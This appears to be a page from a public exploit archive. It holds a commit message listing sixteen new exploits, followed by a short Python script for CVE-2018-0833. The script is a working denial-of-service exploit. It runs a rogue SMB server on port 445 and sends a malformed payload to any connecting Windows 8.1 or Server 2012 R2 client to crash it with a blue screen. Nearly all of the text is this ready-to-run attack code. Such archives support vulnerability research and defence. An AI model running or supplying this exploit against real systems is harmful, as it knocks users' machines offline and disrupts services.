5d48f0abd2
16 changes to exploits/shellcodes Transmission - Integer Overflows Parsing Torrent Files Chrome V8 - 'PropertyArray' Integer Overflow Chrome V8 - 'TranslatedState::MaterializeCapturedObjectAt' Type Confusion Asterisk chan_pjsip 15.2.0 - 'INVITE' Denial of Service Asterisk chan_pjsip 15.2.0 - 'SDP' Denial of Service Asterisk chan_pjsip 15.2.0 - 'SDP fmtp' Denial of Service Asterisk chan_pjsip 15.2.0 - 'SUBSCRIBE' Stack Corruption Microsoft Windows Windows 8.1/2012 R2 - SMB Denial of Service Sony Playstation 4 4.55 FW - Local Kernel GetGo Download Manager 5.3.0.2712 - Buffer Overflow (SEH) Schools Alert Management Script 2.0.2 - Authentication Bypass MyBB My Arcade Plugin 1.3 - Cross-Site Scripting Joomla! Component K2 2.8.0 - Arbitrary File Download School Management Script 3.0.4 - Authentication Bypass CMS Made Simple 2.1.6 - Remote Code Execution Concrete5 < 8.3.0 - Username / Comments Enumeration
22 lines
No EOL
1.3 KiB
Python
Executable file
22 lines
No EOL
1.3 KiB
Python
Executable file
# Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service
|
|
# Date: 26/02/2018
|
|
# Exploit Author: Nabeel Ahmed
|
|
# Version: SMBv3
|
|
# Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64)
|
|
# CVE : CVE-2018-0833
|
|
|
|
import SocketServer
|
|
from binascii import unhexlify
|
|
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
|
|
class byebye(SocketServer.BaseRequestHandler):
|
|
def handle(self):
|
|
try:
|
|
print "From:", self.client_address
|
|
print "[*]Sending Payload..."
|
|
self.request.send(unhexlify(payload))
|
|
except Exception:
|
|
print "BSoD Triggered on", self.client_address
|
|
pass
|
|
SocketServer.TCPServer.allow_reuse_address = 1
|
|
launch = SocketServer.TCPServer(('', 445),byebye)
|
|
launch.serve_forever() |